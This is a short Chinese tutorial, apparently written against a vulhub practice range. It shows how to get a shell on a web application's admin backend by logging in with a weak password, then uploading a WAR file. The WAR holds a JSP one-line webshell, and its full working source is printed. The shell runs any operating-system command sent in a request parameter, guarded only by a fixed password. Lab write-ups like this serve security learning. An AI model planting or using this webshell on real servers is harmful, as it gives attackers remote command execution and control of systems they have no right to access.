这里用的是vulhub靶场
用弱口令登录就行
先准备jsp一句话
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head><body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body></html>
再压缩为zip,最后打包为war
如果安装java,在window下用命令打包 jar cvf pp.war pp.jsp
上传war文件
上传成功
利用
这里主要学习一种后台getshell方法,有些后台只能上传zip,war文件且内部会自动解压。这时候需要将一句话木马文件压缩。